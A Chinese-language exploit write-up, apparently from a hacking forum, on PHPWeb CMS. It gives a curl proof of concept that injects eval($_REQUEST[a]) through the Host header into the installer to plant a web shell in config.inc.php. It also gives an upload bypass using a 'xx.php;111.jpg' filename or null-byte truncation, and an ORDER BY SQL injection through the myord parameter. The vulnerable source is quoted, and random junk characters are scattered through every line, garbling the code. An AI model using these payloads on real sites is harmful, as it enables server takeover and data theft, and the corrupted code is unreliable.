注入:
9 o e% U# G. X! k# M0 w% s7 ^1 [7 H& V' J& j, S+ g% k0 Q! A6 h
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码5 R4 P+ B. I9 i6 ^0 n2 F& S* t. @
" N l' b8 t# S. a5 I/ J鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件( H$ g" |' a0 t7 [
鸡肋2: 有一定安全常识的站长都会删掉 install 目录/ e; N2 e# U; N; v6 w+ z" ?8 C
: {( Q9 w/ G) g# U虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
& ~; c" J1 p) b5 \
4 j, e7 c; t/ N j3 L/ Z: F分析:
* H. l' `$ o. c9 S7 G
! w1 y4 X9 c% a: M& a
6 n" r. k+ R& l, ~9 I( f3 f$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
. G' m" H8 r0 x% i0 ?+ q( h3 M
; u6 U3 w3 b; ^) a4 s $filestr = fread(fopen($SysConfigFile, 'r'),30000);
2 x" \1 i; E: V% X; E4 [4 r$ o $filestr=str_replace(" ","",$filestr);
) J n5 y; _1 ~1 a" {! P6 g $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);" j/ [& W7 {$ n- @ q
$filestr=str_replace("DefaultDbName",$dbname,$filestr);5 B3 J6 g) `0 P6 s' ?
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);, D( }- v! b" O5 m
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);) W: p7 [$ x0 r% Z
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
( r3 G* ?; H" [' r $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);6 u, U6 a7 \) f% {- k
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);% W6 \ B# M u3 X
A" E# W& S8 |# ?6 w
fwrite(fopen($ConFile,"w"),$filestr,30000);
$ X0 R. M" V' d& W7 Q$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^! N, C5 O) b s' x; I3 ?6 D) Q
1 T: |2 f+ P; P9 gpoc:3 L) X$ A9 \. y( B+ y- }/ l
) T6 _, R' B8 y# p
?1 L3 B9 d, Y" v& k
1
3 D$ a" r2 G; P ccurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#": f( W- D3 u0 S2 j
shell地址: /config.inc.php! Y" ~4 M/ }) \* l
跟之前的 phpcms一样 需要远程数据库, C) x, Y+ K3 @$ T: Q
$ L+ a% U5 ]6 h3 o O9 B1 i——————————————————–
% p+ @. U( i$ N$ A: @: z上传漏洞(需要进后台):
! D8 _% K/ n- G( T. `! a漏洞文件: /kedit/upload_cgi/upload.php! \9 O' r7 C" v3 q3 d: F7 K( ~
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用# g( j- l1 Q/ {0 j
5 u$ o" S7 m" s
* S9 R4 m; B2 A% w& c* q, g8 h<?php, D4 b2 Y% ~) Q" l4 D
define("ROOTPATH", "../../");
7 c: n# l5 y9 E! S% @ ^, N" d include(ROOTPATH."includes/admin.inc.php");( `% M# y9 x6 C% _& n- r; _0 v8 T
NeedAuth(0);2 H* v, m/ q# Y$ C/ s
7 x6 K% N4 t; Z# d" \
$dt=date("Ymd",time());: b, O* l' `- L9 o3 `2 D& N2 x
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
$ U0 a2 E- k+ m7 v: n @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);1 U3 W4 v3 d/ r5 @# e, B
}
* @2 u. {) X2 m* q R/ | : Z: @# s9 z7 L8 r5 B
//文件保存目录路径1 M$ R e5 a1 Y" o0 j
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';9 s. o+ D0 E. Y& _4 [
echo $save_path;3 t$ X8 D; d; E- x
//文件保存目录URL: i3 f% f* S% {% X( \
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
! j- p" y: T7 }/ d9 n! J
# r8 `1 X* F' r/ l //定义允许上传的文件扩展名
7 K" k2 A4 c9 \" K }5 p' q3 \8 V $ext_arr = array('gif','jpg','png','bmp'); //限制后缀( G4 }9 A3 W) R6 W$ M. F9 d
; c- B( T/ ]2 X( o
//最大文件大小
0 h% ?. d1 ?% |. ^ $max_size = 1000000;
4 C0 d" B9 s- h8 F 8 I# ^( _; f; m1 ^% y
//更改目录权限
6 Q% L- _4 b5 V a8 U6 u" N9 s7 V @mkdir($save_path, 0777);/ k* k! C) |( X' T! j6 t% c
; v# S2 \2 P) V8 V) ^
//文件的全部路径
8 o% W8 {) o7 q% x* j $file_path = $save_path.$_POST['fileName']; //保存文件名$ `; K& T6 Q4 p! B
! y" Q! u1 }; v/ p! o' T. N
//文件URL
4 S+ e3 p6 c3 h7 j $file_url = $save_url.$_POST['fileName'];
1 I: I/ i* s* S//有上传文件时 P" K" R0 u6 N0 b# \# C
if (empty($_FILES) === false) {. o$ t' T% h( s2 C
! G: T6 p- I" \' s$ n7 x* x //原文件名
2 I( P% j; p. r4 }) S" F $file_name = $_FILES['fileData']['name'];6 l8 ^6 K0 c$ |/ L K
//服务器上临时文件名% c2 ?1 `- E) W; C9 U: F# w) v7 ~
$tmp_name = $_FILES['fileData']['tmp_name'];
4 y2 Y7 }+ A$ c( t* o+ Z3 u! ? //文件大小
3 X _5 [/ z9 O: C) G $file_size = $_FILES['fileData']['size'];
Y) y+ P6 ]8 c" \! T //检查目录
t. \: C# P: \0 \- B if (@is_dir($save_path) === false) {
) u- h/ \! N: v) m! [, U, a/ ? alert("上传目录不存在。");
) [/ N8 x* d: V& v% a/ M3 K1 u }
5 L' D" ?" a* x. @7 w //检查目录写权限+ _4 ]$ C, I2 i) |+ p
if (@is_writable($save_path) === false) {) o8 b3 d$ a( K4 l! g5 J6 k
alert("上传目录没有写权限。");2 n/ I1 w) p& J4 i) Y8 k) I) [7 H: d
}
0 C7 {& j2 i4 P$ U% G* D: z //检查是否已上传
) y" Z2 P7 z# T- ]. V, F- p if (@is_uploaded_file($tmp_name) === false) {
7 D% x# U. j5 a$ d4 N* s alert("临时文件可能不是上传文件。");
$ K6 m5 G- U: J( b! [2 ] m }, B& z0 |! z9 j' ?3 J$ h
//检查文件大小5 c9 [7 L5 Z5 J: S3 y* T
if ($file_size > $max_size) {6 H7 f( o+ }% x; s
alert("上传文件大小超过限制。");/ | I2 t. _) L2 A
}: c# B1 i! K- B e* i
//获得文件扩展名
' m* L( W& M) s9 n u+ h6 U $temp_arr = explode(".", $_POST['fileName']);, m4 J. f8 r- Q( Z; |0 e+ l. _" v
$file_ext = array_pop($temp_arr);
/ O! q. T/ K! U! g* e $file_ext = trim($file_ext);; O; k, f6 [- ~7 K7 [ T2 m6 l& o6 I
$file_ext = strtolower($file_ext);/ _5 a4 u0 p5 [# h; L! c1 R9 A
. s+ ^" V) @; H( Q/ z; ?1 l
//检查扩展名 - Q7 ^/ e i3 O+ _
if (in_array($file_ext, $ext_arr) === false) { 2 d0 n7 Z5 i: Y' w" @" y) F/ T
alert("上传文件扩展名是不允许的扩展名。");0 s! B7 X; L. j2 O8 z& ?- I: X
}
c# h3 M' }- \4 O ' _$ r7 {3 Y6 Y' C# P. M( g1 w
//移动文件
" ]& m! O$ w2 v6 S/ e //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
% e( Y1 {+ p) A6 Y* }$ |+ p) S% P- F, ? if (move_uploaded_file($tmp_name, $file_path) === false) {5 N2 b1 z) l" C% n9 n
alert("上传文件失败。");0 ^( U' h0 w; ~4 s# C5 o4 e
}2 d H- B, p. c1 a
7 `' I/ D# o8 n0 {% Y
@chmod($file_path,0666);
$ N _5 P! M p# a
1 C0 t% M, h/ S5 x3 @+ O( J! y5 M ?>
5 \4 s# S2 e7 `7 W, h抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2270 y( G% h) j! m1 M6 b- n
. Z& D$ M' [+ u6 N
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
7 b9 d- B2 u4 } 8 S% ~9 d$ h' r5 P; P% d! ]; f
——————————————————
# C% x- x! l, o* V# v注入漏洞:" V3 n9 M8 z3 D$ g0 F4 T
漏洞文件:search/module/search.php+ _5 [( _' J, `% o8 L( x- ^
/search/index.php?key=1&myord=1 [sqlinjection]( p0 ~7 K( ~ M- R- O
. p3 d1 I+ Y$ g( Q: ]4 l
2 M9 m1 J) n5 `; P( Q# H2 w: o0 J9 l<?php% o" x% X3 [! p
// ... 省略 n 行...
4 E( J# ^ i& y //第18行:
6 J0 K0 q# {! ]/ T6 r* c $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响. z. Z" X) o1 A* k# R) ?
$page=htmlspecialchars($_GET["page"]);- y. \4 S1 |; N
$myord=htmlspecialchars($_GET["myord"]); K/ z. Q8 ?6 ]# N& _# m
: [1 v3 q- s' U/ |6 O ]' e // ... 省略 n 行...% ^: A" U$ O' t' i# \: X
$key,$myord 两个参数带入查询) ~, d; N5 e% K0 d$ L
//第47行 $key:; p2 @# c; J3 z; }8 F$ b# j% m" c
, e6 J8 X: }. Y( W: D
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..( n5 J6 |. j0 u* m0 N
) D/ y2 u0 G1 Y: A5 A, L: p
//第197行 $myord
) [& E5 W+ u7 ~% W1 r- { $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
( c0 `0 Q% \" W3 p/ } ; N& B+ b, [: J/ c
?>9 T- r6 Y& V6 K3 ]: x1 e8 K
|